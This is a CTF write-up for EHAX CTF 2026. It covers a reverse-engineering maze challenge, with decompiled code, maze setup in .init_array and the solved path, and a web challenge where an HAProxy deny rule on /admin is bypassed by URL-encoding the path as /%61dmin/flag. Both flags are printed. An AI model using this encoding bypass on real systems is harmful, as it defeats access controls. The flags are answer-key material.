Skip to main content

Command Palette

Search for a command to run...

EHAX CTF 2026 RE Pathfinder

Published
โ€ข4 min read

5555555556d0    int32_t main(int32_t argc, char** argv, char** envp)

5555555556db        void* fsbase
5555555556db        int64_t rax = *(fsbase + 0x28)
5555555556ea        sub_5555555555a1()
5555555556fe        printf(format: "Are you a pathfinder?\n[y/n]: ")
55555555570d        fflush(fp: stdout)
555555555738        char buf[0x40]
555555555738        int32_t result
555555555738        
555555555738        if (read(fd: 0, &buf, nbytes: 1) != 0)
55555555576b            int32_t i
55555555576b            
55555555576b            do
555555555763                i = getchar()
55555555576b            while (i != 0xa)
55555555576b            
555555555776            if (buf[0] == 'n')
555555555782                puts(str: "Understandable. See you again, maybe..")
555555555791                fflush(fp: stdout)
555555555796                result = 1
555555555776            else if (buf[0] == 'y')
5555555557e2                printf(format: "Ok, tell me the best path: ")
5555555557f1                fflush(fp: stdout)
๐Ÿ›‘55555555580a                memset(&buf, 0, 0x40)
๐Ÿ›‘55555555580a                
555555555835                if (read(fd: 0, &buf, nbytes: 0x40) != 0)
555555555878                    buf[strcspn(&buf, "\n")] = 0
555555555878                    
๐Ÿ›‘555555555891                    if (sub_555555555444(&buf) == 0)
5555555558ea                        puts(str: "Better luck next time.")
5555555558f9                        fflush(fp: stdout)
5555555558fe                        result = 1
๐Ÿ›‘555555555891                    else
5555555558a7                        char flag[0x108]
5555555558a7                        sub_555555555602(&buf, &flag)
5555555558c5                        printf(format: "You have what it takes. Flag: %s\nBye.\n", 
5555555558c5                            &flag, "You have what it takes. Flag: %s\nBye.\n")
5555555558d4                        fflush(fp: stdout)
5555555558d9                        result = 0
555555555835                else
555555555841                    puts(str: "Where dat path tho?")
555555555850                    fflush(fp: stdout)
555555555855                    result = 1
5555555557a9            else
5555555557b5                puts(str: "Invalid option")
5555555557c4                fflush(fp: stdout)
5555555557c9                result = 1
555555555738        else
555555555744            puts(str: "No input?")
555555555753            fflush(fp: stdout)
555555555758            result = 1
555555555758        
555555555907        *(fsbase + 0x28)
555555555907        
555555555910        if (rax == *(fsbase + 0x28))
555555555918            return result
555555555918        
555555555912        __stack_chk_fail()
555555555912        noreturn

Nothing too interesting in main, its a maze and you have to find the path through it

The function, that could be an initialization is not setting anything interesting

5555555555a1    int64_t sub_5555555555a1()

5555555555be        setvbuf(fp: stdin, buf: nullptr, mode: 2, size: 0)
5555555555dc        setvbuf(fp: stdout, buf: nullptr, mode: 2, size: 0)
555555555601        return setvbuf(fp: stderr, buf: nullptr, mode: 2, size: 0)

The check path function

555555555444    uint64_t sub_555555555444(char* arg1)

555555555450        int32_t var_30 = 0
555555555457        int32_t var_2c = 0
555555555462        char* var_20 = arg1
555555555462        
55555555556f        while (*var_20 != 0)
55555555546f            char rax_2 = *var_20
555555555485            int64_t rax_7 = sx.q(zx.d(rax_2)) * 0xc
555555555493            int64_t rcx_1 = *(rax_7 + &data_555555558120)
55555555549b            int24_t rax_8 = (*(rax_7 + 0x555555558128)).3
55555555549b            
๐Ÿ›‘5555555554d8            if (rax_8:2.b == 0)
5555555554da                return 0
5555555554da            
5555555554ea            int32_t rax_20 = var_30 + rcx_1.d
5555555554f5            int32_t rax_22 = var_2c + rcx_1:4.d
5555555554f5            
555555555508            if (rax_20 u> 9 || rax_22 u> 9)
55555555550a                return 0
55555555550a            
55555555551e            char rax_26 = sub_55555555523f(var_30, var_2c)
55555555551e            
55555555554c            if (((sub_55555555523f(rax_20, rax_22)
55555555554c                    & ((rax_2 * 0x6b) ^ rax_8:1.b ^ 0x3c))
55555555554c                    | (rax_26 & ((rax_2 * 0x6b) ^ rax_8.b ^ 0x3c))) == 0)
55555555554e                return 0
55555555554e            
555555555558            var_30 = rax_20
55555555555e            var_2c = rax_22
555555555561            var_20 = &var_20[1]
555555555561        
55555555557f        if (var_30 != 9 || var_2c != 9)
555555555581            return 0
555555555581        
555555555599        int32_t rax_37
555555555599        rax_37.b = sub_55555555526b(arg1) == 0x86ba520c
55555555559c        return zx.q(rax_37.b)

is referring to 0x555555558128 but in the binary its only zeroes. There is no obvious place to look for the initialization of the maze

The answer is inside of .init_array section

.init_array section started  {0x555555557dc0-0x555555557dd8}
555555557dc0  void (* init_array[0x3])() = 
555555557dc0  {
555555557dc0      [0x0] = _INIT_0
555555557dc8      [0x1] = _INIT_1
555555557dd0      [0x2] = _INIT_2

function _INIT_1 sets up the maze

555555555235        for (int32_t i = 0; i s<= 0x63; i += 1)
55555555522a            *(sx.q(i) + &data_5555555580a0) =
55555555522a                *(sx.q(i) + &data_555555556020) ^ sub_5555555551c9(i)

Claude wrote the BFS script to find the way around the maze

`EESSSWWSSSSSSEEEEEEEENNESS`

EHAX{2E3S2W6S8E2NE2S}

WEB

Borderline Personality

Inside of the handout directory there are two subdirectories backend and haproxy

The admin route is very straightforward

@app.route('/admin/flag', methods=['GET', 'POST'])
def flag():
    return "EHAX{TEST_FLAG}\n", 200

But there is a haproxy in front of it

frontend http-in
    bind *:8080
    
    acl restricted_path path -m reg ^/+admin
    http-request deny if restricted_path
    
    default_backend application_backend

backend application_backend
    server backend1 backend:5000

URL encoding of a in admin is enough to fool that rule

http://chall.ehax.in:9098/%61dmin/flag

EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}

CTF writeups

Part 1 of 1